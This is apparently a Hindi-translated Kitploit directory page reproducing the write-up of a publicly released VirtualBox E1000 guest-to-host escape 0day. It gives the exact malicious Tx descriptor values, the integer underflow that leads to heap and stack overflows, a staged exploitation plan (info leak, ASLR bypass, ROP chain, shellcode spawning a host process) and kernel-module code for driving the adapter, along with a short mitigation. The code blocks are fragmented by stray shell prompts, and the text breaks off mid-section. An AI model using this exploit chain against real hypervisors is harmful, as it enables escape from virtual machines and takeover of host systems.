Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/mortenoir1/virtualbox_e1000_0day
भेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगहार्डवेयर सुरक्षाबाइनरी शोषण
GitHubmortenoir1/virtualbox_e1000_0day

virtualbox_e1000_0day

VirtualBox E1000 गेस्ट-टू-होस्ट एस्केप

रिपॉजिटरी देखें
1.4k19687 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

क्यों

मुझे VirtualBox पसंद है और इसका इस बात से कोई लेना-देना नहीं है कि मैं एक 0day कमजोरी क्यों प्रकाशित कर रहा हूँ। इसका कारण समकालीन इन्फोसेक की स्थिति, विशेष रूप से सुरक्षा अनुसंधान और बग बाउंटी से मेरी असहमति है:

  1. किसी कमजोरी के पैच होने तक आधा साल इंतज़ार करना ठीक माना जाता है।
  2. बग बाउंटी के क्षेत्र में इन्हें ठीक माना जाता है:
    1. प्रस्तुत की गई कमजोरी के सत्यापित होने और इसे खरीदने या न खरीदने का निर्णय लिए जाने में एक महीने से अधिक का इंतज़ार करना।
    2. चलते-फिरते निर्णय बदलना। आज आपने पता लगाया कि बग बाउंटी प्रोग्राम किसी सॉफ्टवेयर में बग खरीदेगा, एक सप्ताह बाद आप बग और एक्सप्लॉइट लेकर आते हैं और "रुचि नहीं है" प्राप्त करते हैं।
    3. बग बाउंटी की उस सॉफ्टवेयर की सटीक सूची न होना जिसमें वह बग खरीदने में रुचि रखता है। बग बाउंटी के लिए सुविधाजनक, शोधकर्ताओं के लिए अजीब।
    4. कमजोरी की कीमतों की सटीक निचली और ऊपरी सीमाएँ न होना। ऐसी कई चीज़ें हैं जो कीमत को प्रभावित करती हैं लेकिन शोधकर्ताओं को यह जानना आवश्यक है कि किस चीज़ पर काम करना उचित है और किस पर नहीं।
  3. भव्यता का भ्रम और मार्केटिंग बकवास: कमजोरियों को नाम देना और उनके लिए वेबसाइट बनाना; एक वर्ष में हज़ारों सम्मेलन करना; सुरक्षा शोधकर्ता के रूप में अपनी नौकरी के महत्व को बढ़ा-चढ़ाकर बताना; स्वयं को "दुनिया का रक्षक" मानना। नीचे उतरिए, आपकी महानता।

मैं पहले दो से थक गया हूँ, इसलिए मेरी चाल पूर्ण प्रकटीकरण (full disclosure) है। इन्फोसेक, कृपया आगे बढ़ें।

सामान्य जानकारी

असुरक्षित सॉफ्टवेयर: VirtualBox 5.2.20 और पिछले संस्करण।

होस्ट OS: कोई भी, बग एक साझा कोड बेस में है।

गेस्ट OS: कोई भी।

VM कॉन्फ़िगरेशन: डिफ़ॉल्ट (एकमात्र आवश्यकता यह है कि नेटवर्क कार्ड Intel PRO/1000 MT Desktop (82540EM) हो और मोड NAT हो)।

स्वयं को कैसे सुरक्षित रखें

जब तक पैच किया गया VirtualBox बिल्ड जारी नहीं होता, आप अपनी वर्चुअल मशीनों के नेटवर्क कार्ड को PCnet (दोनों में से कोई भी) या Paravirtualized Network में बदल सकते हैं। यदि आप ऐसा नहीं कर सकते, तो मोड को NAT से दूसरे में बदलें। पहला तरीका अधिक सुरक्षित है।

परिचय

एक डिफ़ॉल्ट VirtualBox वर्चुअल नेटवर्क डिवाइस Intel PRO/1000 MT Desktop (82540EM) है और डिफ़ॉल्ट नेटवर्क मोड NAT है। हम इसे E1000 के रूप में संदर्भित करेंगे।

E1000 में एक कमजोरी है जो गेस्ट में रूट/एडमिनिस्ट्रेटर विशेषाधिकार वाले हमलावर को होस्ट ring3 पर भागने की अनुमति देती है। फिर हमलावर /dev/vboxdrv के माध्यम से विशेषाधिकारों को ring 0 तक बढ़ाने के लिए मौजूदा तकनीकों का उपयोग कर सकता है।

कमजोरी का विवरण

E1000 101

नेटवर्क पैकेट भेजने के लिए गेस्ट वही करता है जो एक सामान्य PC करता है: वह नेटवर्क कार्ड को कॉन्फ़िगर करता है और उसे नेटवर्क पैकेट प्रदान करता है। पैकेट डेटा लिंक लेयर फ्रेम और अन्य, अधिक उच्च स्तरीय हेडर के होते हैं। एडॉप्टर को प्रदान किए गए पैकेट Tx डिस्क्रिप्टर (Tx का अर्थ ट्रांसमिट है) में लिपटे होते हैं। Tx डिस्क्रिप्टर 82540EM डेटाशीट (317453006EN.PDF, रेविज़न 4.0) में वर्णित डेटा संरचना है। यह पैकेट आकार, VLAN टैग, TCP/IP सेगमेंटेशन सक्षम फ़्लैग इत्यादि जैसी मेटाजानकारी संग्रहीत करता है।

82540EM डेटाशीट तीन Tx डिस्क्रिप्टर प्रकार प्रदान करती है: legacy, context, data। मेरा मानना है कि Legacy पदावनत (deprecated) है। अन्य दो का एक साथ उपयोग किया जाता है। हम केवल इसकी परवाह करते हैं कि context डिस्क्रिप्टर अधिकतम पैकेट आकार सेट करते हैं और TCP/IP सेगमेंटेशन को स्विच करते हैं, और data डिस्क्रिप्टर नेटवर्क पैकेट के भौतिक पते और उनके आकार रखते हैं। data डिस्क्रिप्टर का पैकेट आकार context डिस्क्रिप्टर के अधिकतम पैकेट आकार से छोटा होना चाहिए। आमतौर पर context डिस्क्रिप्टर नेटवर्क कार्ड को data डिस्क्रिप्टर से पहले प्रदान किए जाते हैं।

नेटवर्क कार्ड को Tx डिस्क्रिप्टर प्रदान करने के लिए गेस्ट उन्हें Tx Ring में लिखता है। यह एक रिंग बफर है जो एक पूर्वनिर्धारित पते पर भौतिक मेमोरी में स्थित होता है। जब सभी डिस्क्रिप्टर Tx Ring में लिख दिए जाते हैं, तो गेस्ट E1000 MMIO TDT रजिस्टर (Transmit Descriptor Tail) को अपडेट करता है ताकि होस्ट को बताया जा सके कि संभालने के लिए नए डिस्क्रिप्टर हैं।

इनपुट

निम्नलिखित Tx डिस्क्रिप्टर की सरणी पर विचार करें:``` [context_1, data_2, data_3, context_4, data_5]

root@kitploit:~
आइए उनके संरचना क्षेत्रों को इस प्रकार निर्दिष्ट करें (क्षेत्र नाम काल्पनिक हैं जो मानव-पठनीय हों लेकिन सीधे 82540EM विनिर्देश में मैप होते हैं):```
context_1.header_length = 0
context_1.maximum_segment_size = 0x3010
context_1.tcp_segmentation_enabled = true

data_2.data_length = 0x10
data_2.end_of_packet = false
data_2.tcp_segmentation_enabled = true

data_3.data_length = 0
data_3.end_of_packet = true
data_3.tcp_segmentation_enabled = true

context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true

data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true

हम अपने चरण-दर-चरण विश्लेषण में जानेंगे कि वे ऐसे क्यों होने चाहिए।

मूल कारण विश्लेषण

[context_1, data_2, data_3] प्रसंस्करण

मान लें कि उपरोक्त डिस्क्रिप्टर निर्दिष्ट क्रम में Tx Ring में लिखे गए हैं और TDT रजिस्टर को अतिथि द्वारा अपडेट किया गया है। अब होस्ट src/VBox/Devices/Network/DevE1000.cpp फ़ाइल में e1kXmitPending फ़ंक्शन निष्पादित करेगा (पठनीयता के लिए अधिकांश टिप्पणियाँ हटा दी गई हैं और हटा दी जाएँगी):```c static int e1kXmitPending(PE1KSTATE pThis, bool fOnWorkerThread) { ... while (!pThis->fLocked && e1kTxDLazyLoad(pThis)) { while (e1kLocateTxPacket(pThis)) { fIncomplete = false; rc = e1kXmitAllocBuf(pThis, pThis->fGSO); if (RT_FAILURE(rc)) goto out; rc = e1kXmitPacket(pThis, fOnWorkerThread); if (RT_FAILURE(rc)) goto out; }

root@kitploit:~
e1kTxDLazyLoad टीएक्स रिंग से सभी 5 टीएक्स डिस्क्रिप्टर पढ़ेगा। फिर e1kLocateTxPacket को पहली बार कॉल किया जाता है। यह फ़ंक्शन प्रारंभिक अवस्था स्थापित करने के लिए सभी डिस्क्रिप्टर पर पुनरावृत्ति करता है लेकिन वास्तव में उन्हें संभालता नहीं है। हमारे मामले में e1kLocateTxPacket का पहला कॉल context_1, data_2, और data_3 डिस्क्रिप्टर को संभालेगा। शेष दो डिस्क्रिप्टर, context_4 और data_5, while लूप के दूसरे पुनरावृत्ति पर संभाले जाएंगे (हम अगले भाग में दूसरे पुनरावृत्ति को कवर करेंगे)। यह दो-भागीय सरणी विभाजन कमजोरी को ट्रिगर करने के लिए महत्वपूर्ण है, तो आइए जानें क्यों।

e1kLocateTxPacket इस प्रकार दिखता है:```c
static bool e1kLocateTxPacket(PE1KSTATE pThis)
{
...
    for (int i = pThis->iTxDCurrent; i < pThis->nTxDFetched; ++i)
    {
        E1KTXDESC *pDesc = &pThis->aTxDescriptors[i];
        switch (e1kGetDescType(pDesc))
        {
            case E1K_DTYP_CONTEXT:
                e1kUpdateTxContext(pThis, pDesc);
                continue;
            case E1K_DTYP_LEGACY:
                ...
                break;
            case E1K_DTYP_DATA:
                if (!pDesc->data.u64BufAddr || !pDesc->data.cmd.u20DTALEN)
                    break;
                ...
                break;
            default:
                AssertMsgFailed(("Impossible descriptor type!"));
        }

पहला डिस्क्रिप्टर (context_1) E1K_DTYP_CONTEXT प्रकार का है, इसलिए e1kUpdateTxContext फ़ंक्शन कॉल किया जाता है। यह फ़ंक्शन TCP Segmentation Context को अपडेट करता है यदि डिस्क्रिप्टर के लिए TCP Segmentation सक्षम है। context_1 के लिए यह सत्य है, इसलिए TCP Segmentation Context अपडेट होगा। (वास्तव में TCP Segmentation Context Update क्या है, यह महत्वपूर्ण नहीं है, और हम इसका उपयोग केवल नीचे दिए गए कोड को संदर्भित करने के लिए करेंगे।)

दूसरा डिस्क्रिप्टर (data_2) E1K_DTYP_DATA प्रकार का है, इसलिए चर्चा के लिए अनावश्यक कई क्रियाएं की जाएंगी।

तीसरा डिस्क्रिप्टर (data_3) भी E1K_DTYP_DATA प्रकार का है, लेकिन चूंकि data_3.data_length == 0 है, इसलिए कोई क्रिया नहीं की जाती।

इस समय तीन डिस्क्रिप्टर प्रारंभिक रूप से प्रोसेस किए जाते हैं और दो शेष रहते हैं। अब बात: switch स्टेटमेंट के बाद यह जाँच की जाती है कि क्या किसी डिस्क्रिप्टर का end_of_packet फ़ील्ड सेट किया गया था। data_3 डिस्क्रिप्टर के लिए यह सत्य है (data_3.end_of_packet == true)। कोड कुछ क्रियाएं करता है और फ़ंक्शन से वापस लौटता है:```c if (pDesc->legacy.cmd.fEOP) { ... return true; }

root@kitploit:~
यदि data_3.end_of_packet गलत होता, तो शेष context_4 और data_5 डिस्क्रिप्टर संसाधित हो जाते, और भेद्यता को टाल दिया जाता। नीचे आप देखेंगे कि फ़ंक्शन से वापसी बग की ओर क्यों ले जाती है।

e1kLocateTxPacket फ़ंक्शन के अंत में हमारे पास नेटवर्क पैकेट को अनरैप करने और नेटवर्क पर भेजने के लिए तैयार निम्नलिखित डिस्क्रिप्टर हैं: context_1, data_2, data_3। फिर e1kXmitPending का आंतरिक लूप e1kXmitPacket को कॉल करता है। यह फ़ंक्शन सभी डिस्क्रिप्टर (हमारे मामले में 5) पर पुनरावृत्त करता है ताकि उन्हें वास्तव में संसाधित किया जा सके:```c
static int e1kXmitPacket(PE1KSTATE pThis, bool fOnWorkerThread)
{
...
    while (pThis->iTxDCurrent < pThis->nTxDFetched)
    {
        E1KTXDESC *pDesc = &pThis->aTxDescriptors[pThis->iTxDCurrent];
        ...
        rc = e1kXmitDesc(pThis, pDesc, e1kDescAddr(TDBAH, TDBAL, TDH), fOnWorkerThread);
        ...
        if (e1kGetDescType(pDesc) != E1K_DTYP_CONTEXT && pDesc->legacy.cmd.fEOP)
            break;
    }

प्रत्येक डिस्क्रिप्टर के लिए e1kXmitDesc फ़ंक्शन कहा जाता है:```c static int e1kXmitDesc(PE1KSTATE pThis, E1KTXDESC *pDesc, RTGCPHYS addr, bool fOnWorkerThread) { ... switch (e1kGetDescType(pDesc)) { case E1K_DTYP_CONTEXT: ... break; case E1K_DTYP_DATA: { ... if (pDesc->data.cmd.u20DTALEN == 0 || pDesc->data.u64BufAddr == 0) { E1kLog2(("% Empty data descriptor, skipped.\n", pThis->szPrf)); } else { if (e1kXmitIsGsoBuf(pThis->CTX_SUFF(pTxSg))) { ... } else if (!pDesc->data.cmd.fTSE) { ... } else { STAM_COUNTER_INC(&pThis->StatTxPathFallback); rc = e1kFallbackAddToFrame(pThis, pDesc, fOnWorkerThread); } } ...

root@kitploit:~
e1kXmitDesc को पारित किया गया पहला डिस्क्रिप्टर context_1 है। फ़ंक्शन संदर्भ डिस्क्रिप्टर के साथ कुछ नहीं करता।

e1kXmitDesc को पारित किया गया दूसरा डिस्क्रिप्टर data\_2 है। चूंकि हमारे सभी डेटा डिस्क्रिप्टर में tcp\_segmentation\_enable == true (उपरोक्त pDesc->data.cmd.fTSE) है, हम e1kFallbackAddToFrame को कॉल करते हैं जहां data\_5 प्रोसेस होने पर एक पूर्णांक अंडरफ़्लो होगा।```c
static int e1kFallbackAddToFrame(PE1KSTATE pThis, E1KTXDESC *pDesc, bool fOnWorkerThread)
{
    ...
    uint16_t u16MaxPktLen = pThis->contextTSE.dw3.u8HDRLEN + pThis->contextTSE.dw3.u16MSS;

    /*
     * Carve out segments.
     */
    int rc = VINF_SUCCESS;
    do
    {
        /* Calculate how many bytes we have left in this TCP segment */
        uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;
        if (cb > pDesc->data.cmd.u20DTALEN)
        {
            /* This descriptor fits completely into current segment */
            cb = pDesc->data.cmd.u20DTALEN;
            rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
        }
        else
        {
            ...
        }

        pDesc->data.u64BufAddr    += cb;
        pDesc->data.cmd.u20DTALEN -= cb;
    } while (pDesc->data.cmd.u20DTALEN > 0 && RT_SUCCESS(rc));

    if (pDesc->data.cmd.fEOP)
    {
        ...
        pThis->u16TxPktLen = 0;
        ...
    }

    return VINF_SUCCESS; /// @todo consider rc;
}

यहाँ सबसे महत्वपूर्ण चर हैं u16MaxPktLen, pThis->u16TxPktLen, और pDesc->data.cmd.u20DTALEN।

आइए एक तालिका बनाएं जहाँ इन चरों के मान दो डेटा डिस्क्रिप्टर के लिए e1kFallbackAddToFrame फ़ंक्शन के निष्पादन से पहले और बाद में निर्दिष्ट किए गए हैं।

Tx डिस्क्रिप्टरपहले/बादu16MaxPktLenpThis->u16TxPktLenpDesc->data.cmd.u20DTALEN
data_2पहले0x301000x10
-बाद0x30100x100
data_3पहले0x30100x100
-बाद0x30100x100

आपको बस यह ध्यान देने की आवश्यकता है कि जब data_3 को संसाधित किया जाता है, तो pThis->u16TxPktLen 0x10 के बराबर होता है।

अगला सबसे महत्वपूर्ण भाग है। कृपया e1kXmitPacket के स्निपेट के अंत को फिर से देखें:```c if (e1kGetDescType(pDesc) != E1K_DTYP_CONTEXT && pDesc->legacy.cmd.fEOP) break;

root@kitploit:~
चूँकि data_3 का प्रकार E1K_DTYP_CONTEXT नहीं है और data_3.end_of_packet == true है, हम लूप से बाहर निकल जाते हैं, इस तथ्य के बावजूद कि अभी भी context_4 और data_5 को प्रोसेस किया जाना बाकी है। यह क्यों महत्वपूर्ण है? कमज़ोरी को समझने की कुंजी यह समझना है कि सभी संदर्भ डिस्क्रिप्टर डेटा डिस्क्रिप्टर से पहले प्रोसेस किए जाते हैं। संदर्भ डिस्क्रिप्टर e1kLocateTxPacket में TCP Segmentation Context Update के दौरान प्रोसेस किए जाते हैं। डेटा डिस्क्रिप्टर बाद में e1kXmitPacket फ़ंक्शन के अंदर लूप में प्रोसेस किए जाते हैं। डेवलपर का इरादा था कि कुछ डेटा प्रोसेस होने के बाद u16MaxPktLen को बदलने पर रोक लगाई जाए, ताकि कोड में इंटीजर अंडरफ़्लो को रोका जा सके:```c
uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;

लेकिन हम इस सुरक्षा को बायपास करने में सक्षम हैं: याद रखें कि e1kLocateTxPacket में हमने फंक्शन को वापस करने के लिए मजबूर किया क्योंकि data_3.end_of_packet == true था। और इस वजह से हमारे पास दो डिस्क्रिप्टर (context_4 और data_5) बचे हैं जिन्हें प्रोसेस किया जाना है, इस तथ्य के बावजूद कि pThis->u16TxPktLen 0x10 है, 0 नहीं। इसलिए u16MaxPktLen को context_4.maximum_segment_size का उपयोग करके बदलने की संभावना है ताकि पूर्णांक अंडरफ़्लो हो सके।

[context_4, data_5] प्रसंस्करण

अब जब पहले तीन डिस्क्रिप्टर प्रोसेस हो गए, हम फिर से e1kXmitPending के आंतरिक लूप पर पहुंचते हैं:```c while (e1kLocateTxPacket(pThis)) { fIncomplete = false; rc = e1kXmitAllocBuf(pThis, pThis->fGSO); if (RT_FAILURE(rc)) goto out; rc = e1kXmitPacket(pThis, fOnWorkerThread); if (RT_FAILURE(rc)) goto out; }

root@kitploit:~
यहाँ हम e1kLocateTxPacket को कॉल करते हैं जो context_4 और data_5 डिस्क्रिप्टर का प्रारंभिक प्रसंस्करण करता है। कहा गया है कि हम context_4.maximum_segment_size को पहले से पढ़े गए डेटा के आकार से छोटे आकार पर सेट कर सकते हैं, यानी 0x10 से छोटा। हमारे इनपुट Tx डिस्क्रिप्टर को याद करें:```
context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true

data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true

As a result of the call to e1kLocateTxPacket we have the maximum segment size equals to 0xF, whereas the size of data already read is 0x10.

Finally, when processing data_5 we again arrive to e1kFallbackAddToFrame and have the following variable values:

Tx Descriptorपहले/बाद मेंu16MaxPktLenpThis->u16TxPktLenpDesc->data.cmd.u20DTALEN
data_5पहले0xF0x100x4188
-बाद में---

And therefore we have an integer underflow:```c uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen; => uint32_t cb = 0xF - 0x10 = 0xFFFFFFFF;

root@kitploit:~
यह निम्नलिखित जाँच को सत्य बनाता है क्योंकि 0xFFFFFFFF > 0x4188:```c
        if (cb > pDesc->data.cmd.u20DTALEN)
        {
            cb = pDesc->data.cmd.u20DTALEN;
            rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
        }

e1kFallbackAddSegment फ़ंक्शन 0x4188 आकार के साथ कॉल किया जाएगा। भेद्यता के बिना, e1kFallbackAddSegment को 0x3FA0 (E1K_MAX_TX_PKT_SIZE == 0x3FA0) से बड़े आकार के साथ कॉल करना असंभव है, क्योंकि e1kUpdateTxContext में TCP Segmentation Context Update के दौरान, यह जाँच होती है कि अधिकतम खंड आकार 0x3FA0 से कम या बराबर है:```c DECLINLINE(void) e1kUpdateTxContext(PE1KSTATE pThis, E1KTXDESC *pDesc) { ... uint32_t cbMaxSegmentSize = pThis->contextTSE.dw3.u16MSS + pThis->contextTSE.dw3.u8HDRLEN + 4; /VTAG/ if (RT_UNLIKELY(cbMaxSegmentSize > E1K_MAX_TX_PKT_SIZE)) { pThis->contextTSE.dw3.u16MSS = E1K_MAX_TX_PKT_SIZE - pThis->contextTSE.dw3.u8HDRLEN - 4; /VTAG/ ... }

root@kitploit:~
### बफर ओवरफ्लो
हमने e1kFallbackAddSegment को 0x4188 आकार के साथ कॉल किया है। इसका दुरुपयोग कैसे किया जा सकता है? मुझे कम से कम दो संभावनाएं मिलीं। पहली, डेटा को गेस्ट से एक हीप बफर में पढ़ा जाएगा:```c
static int e1kFallbackAddSegment(PE1KSTATE pThis, RTGCPHYS PhysAddr, uint16_t u16Len, bool fSend, bool fOnWorkerThread)
{
    ...
    PDMDevHlpPhysRead(pThis->CTX_SUFF(pDevIns), PhysAddr,
                      pThis->aTxPacketFallback + pThis->u16TxPktLen, u16Len);

यहाँ pThis->aTxPacketFallback आकार 0x3FA0 का बफ़र है और u16Len 0x4188 है — एक स्पष्ट ओवरफ़्लो जो, उदाहरण के लिए, फंक्शन पॉइंटर्स ओवरराइट की ओर ले जा सकता है।

दूसरा, यदि हम गहराई से देखें तो पाते हैं कि e1kFallbackAddSegment e1kTransmitFrame को कॉल करता है, जो E1000 रजिस्टर्स के एक निश्चित कॉन्फ़िगरेशन के साथ e1kHandleRxPacket फंक्शन को कॉल कर सकता है। यह फंक्शन आकार 0x4000 का एक स्टैक बफ़र आवंटित करता है और फिर निर्दिष्ट लंबाई (हमारे मामले में 0x4188) के डेटा को बिना किसी जाँच के बफ़र में कॉपी करता है:```c static int e1kHandleRxPacket(PE1KSTATE pThis, const void *pvBuf, size_t cb, E1KRXDST status) { #if defined(IN_RING3) uint8_t rxPacket[E1K_MAX_RX_PKT_SIZE]; ... if (status.fVP) { ... } else memcpy(rxPacket, pvBuf, cb);

root@kitploit:~
जैसा कि आप देख रहे हैं, हमने एक इंटीजर अंडरफ़्लो को एक क्लासिकल स्टैक बफ़र ओवरफ़्लो में बदल दिया। ऊपर बताए गए दो ओवरफ़्लो — हीप और स्टैक वाले — एक्सप्लॉइट में उपयोग किए जाते हैं।

## एक्सप्लॉइट
यह एक्सप्लॉइट एक लिनक्स कर्नेल मॉड्यूल (LKM) है जिसे गेस्ट OS में लोड किया जाता है। विंडोज के मामले में एक ड्राइवर की आवश्यकता होगी जो LKM से केवल इनिशियलाइज़ेशन रैपर और कर्नेल API कॉल में भिन्न होता है।

दोनों OS में ड्राइवर लोड करने के लिए उन्नत विशेषाधिकारों (elevated privileges) की आवश्यकता होती है। यह सामान्य है और इसे असंभव बाधा नहीं माना जाता। Pwn2Own प्रतियोगिता को देखें जहाँ शोधकर्ता एक्सप्लॉइट चेन का उपयोग करते हैं: गेस्ट OS में एक दुर्भावनापूर्ण वेबसाइट खोलने वाला ब्राउज़र हैक किया जाता है, ब्राउज़र सैंडबॉक्स एस्केप पूर्ण ring 3 एक्सेस प्राप्त करने के लिए किया जाता है, एक ऑपरेटिंग सिस्टम भेद्यता का शोषण करके ring 0 तक पहुँच बनाई जाती है जहाँ से गेस्ट OS से हाइपरवाइज़र पर हमला करने के लिए आपको जो कुछ भी चाहिए वह उपलब्ध है।
सबसे शक्तिशाली हाइपरवाइज़र भेद्यताएँ निश्चित रूप से वे हैं जिनका शोषण गेस्ट ring 3 से किया जा सकता है। VirtualBox में भी ऐसा कोड है जो गेस्ट रूट विशेषाधिकारों के बिना पहुँच योग्य है, और इसका अधिकांश भाग अभी तक ऑडिट नहीं किया गया है।

एक्सप्लॉइट 100% विश्वसनीय है। इसका मतलब है कि यह या तो हमेशा काम करता है या कभी नहीं, क्योंकि बेजोड़ बाइनरी या अन्य, अधिक सूक्ष्म कारण हैं जिन्हें मैंने ध्यान में नहीं रखा। यह कम से कम डिफ़ॉल्ट कॉन्फ़िगरेशन के साथ Ubuntu 16.04 और 18.04 x86_64 गेस्ट पर काम करता है।

### एक्सप्लॉइटेशन एल्गोरिदम
1) एक हमलावर Linux गेस्ट में डिफ़ॉल्ट रूप से लोड e1000.ko को अनलोड करता है और एक्सप्लॉइट के LKM को लोड करता है।
2) LKM डेटाशीट के अनुसार E1000 को आरंभ (initialize) करता है। केवल ट्रांसमिट हाफ को आरंभ किया जाता है क्योंकि रिसीव हाफ की कोई आवश्यकता नहीं है।
3) चरण 1: सूचना लीक।
    1) LKM E1000 लूपबैक मोड को निष्क्रिय कर देता है ताकि स्टैक बफ़र ओवरफ़्लो कोड अप्राप्य हो जाए।
    2) LKM हीप बफ़र ओवरफ़्लो करने के लिए इंटीजर अंडरफ़्लो भेद्यता का उपयोग करता है।
    3) हीप बफ़र ओवरफ़्लो E1000 EEPROM का उपयोग करके एक हीप बफ़र के सापेक्ष 128 KB रेंज में कोई भी दो बाइट लिखने की अनुमति देता है। इसलिए हमलावर को एक राइट प्रिमिटिव प्राप्त होता है।
    4) LKM हीप पर ACPI (एडवांस्ड कॉन्फ़िगरेशन एंड पावर इंटरफ़ेस) डेटा संरचना में बाइट लिखने के लिए 8 बार राइट प्रिमिटिव का उपयोग करता है। बाइट्स को एक हीप बफ़र के इंडेक्स वेरिएबल में लिखा जाता है जिससे एक बाइट पढ़ी जाएगी। चूँकि बफ़र का आकार अधिकतम इंडेक्स संख्या (255) से छोटा है, हमलावर बफ़र से आगे पढ़ सकता है, इसलिए उसे एक रीड प्रिमिटिव प्राप्त होता है।
    5) LKM ACPI तक पहुँचने और हीप से 8 बाइट प्राप्त करने के लिए 8 बार रीड प्रिमिटिव का उपयोग करता है। वे बाइट VBoxDD.so शेयर्ड लाइब्रेरी के पॉइंटर हैं।
    6) LKM VBoxDD.so इमेज बेस प्राप्त करने के लिए पॉइंटर से RVA घटाता है।
4) चरण 2: स्टैक बफ़र ओवरफ़्लो।
    1) LKM E1000 लूपबैक मोड को सक्षम करता है ताकि स्टैक बफ़र ओवरफ़्लो कोड पहुँच योग्य हो जाए।
    2) LKM हीप बफ़र ओवरफ़्लो और स्टैक बफ़र ओवरफ़्लो करने के लिए इंटीजर अंडरफ़्लो भेद्यता का उपयोग करता है। सेव्ड रिटर्न एड्रेस (RIP/EIP) को ओवरराइट किया जाता है। हमलावर को नियंत्रण मिलता है।
    3) ROP चेन शेलकोड लोडर को निष्पादित करने के लिए चलायी जाती है।
5) चरण 3: शेलकोड।
    1) शेलकोड लोडर अपने बगल में स्टैक से एक शेलकोड कॉपी करता है। शेलकोड निष्पादित होता है।
    2) शेलकोड होस्ट पक्ष पर एक मनमाना प्रक्रिया उत्पन्न करने के लिए fork और execve सिस्कॉल करता है।
    3) पैरेंट प्रक्रिया प्रक्रिया निरंतरता करती है।
6) हमलावर LKM को अनलोड करता है और गेस्ट को नेटवर्क का उपयोग करने की अनुमति देने के लिए e1000.ko को वापस लोड करता है।

### प्रारंभिकीकरण (Initialization)
LKM E1000 MMIO के संबंध में भौतिक मेमोरी (physical memory) को मैप करता है। भौतिक पता और आकार हाइपरवाइज़र द्वारा पूर्वनिर्धारित होते हैं।```c
void* map_mmio(void) {
    off_t pa = 0xF0000000;
    size_t len = 0x20000;

    void* va = ioremap(pa, len);
    if (!va) {
        printk(KERN_INFO PFX"ioremap failed to map MMIO\n");
        return NULL;
    }

    return va;
}

फिर E1000 सामान्य प्रयोजन रजिस्टर कॉन्फ़िगर किए जाते हैं, Tx Ring मेमोरी आवंटित की जाती है, ट्रांसमिट रजिस्टर कॉन्फ़िगर किए जाते हैं।```c void e1000_init(void* mmio) { // Configure general purpose registers

root@kitploit:~
configure_CTRL(mmio);

// Configure TX registers

g_tx_ring = kmalloc(MAX_TX_RING_SIZE, GFP_KERNEL);
if (!g_tx_ring) {
    printk(KERN_INFO PFX"Failed to allocate TX Ring\n");
    return;
}

configure_TDBAL(mmio);
configure_TDBAH(mmio);
configure_TDLEN(mmio);
configure_TCTL(mmio);

}

root@kitploit:~
### ASLR Bypass
#### Write primitive
एक्सप्लॉइट डेवलपमेंट की शुरुआत से ही मैंने डिफ़ॉल्ट रूप से अक्षम की गई सेवाओं में पाए जाने वाले प्रिमिटिव का उपयोग न करने का निर्णय लिया। इसका मतलब है कि सबसे पहले Chromium सेवा (ब्राउज़र नहीं) जो 3D एक्सेलेरेशन प्रदान करती है, जहाँ पिछले वर्ष शोधकर्ताओं द्वारा 40 से अधिक कमज़ोरियाँ पाई गईं।

समस्या डिफ़ॉल्ट VirtualBox सबसिस्टम में एक सूचना लीक खोजने की थी। स्पष्ट विचार यह था कि यदि इंटीजर अंडरफ़्लो हीप बफ़र को ओवरफ़्लो करने की अनुमति देता है, तो हम बफ़र के आगे की किसी भी चीज़ को नियंत्रित कर सकते हैं। हम देखेंगे कि किसी अतिरिक्त कमज़ोरी की आवश्यकता नहीं थी: इंटीजर अंडरफ़्लो इतना शक्तिशाली निकला कि उससे रीड, राइट और सूचना लीक प्रिमिटिव प्राप्त किए जा सकें, स्टैक बफ़र ओवरफ़्लो का तो कहना ही क्या।

आइए देखें कि हीप पर वास्तव में क्या ओवरफ़्लो होता है।```c
/**
 * Device state structure.
 */
struct E1kState_st
{
...
    uint8_t     aTxPacketFallback[E1K_MAX_TX_PKT_SIZE];
...
    E1kEEPROM   eeprom;
...
}

यहाँ aTxPacketFallback 0x3FA0 आकार का एक बफर है जो डेटा डिस्क्रिप्टर से कॉपी किए गए बाइट्स से ओवरफ्लो हो जाएगा। बफर के बाद दिलचस्प फील्ड्स की खोज करते हुए मैं E1kEEPROM संरचना पर पहुंचा जिसमें निम्नलिखित फील्ड्स वाली एक और संरचना है (src/VBox/Devices/Network/DevE1000.cpp):```c /**

  • 93C46-compatible EEPROM device emulation. */ struct EEPROM93C46 { ... bool m_fWriteEnabled; uint8_t Alignment1; uint16_t m_u16Word; uint16_t m_u16Mask; uint16_t m_u16Addr; uint32_t m_u32InternalWires; ... }
root@kitploit:~
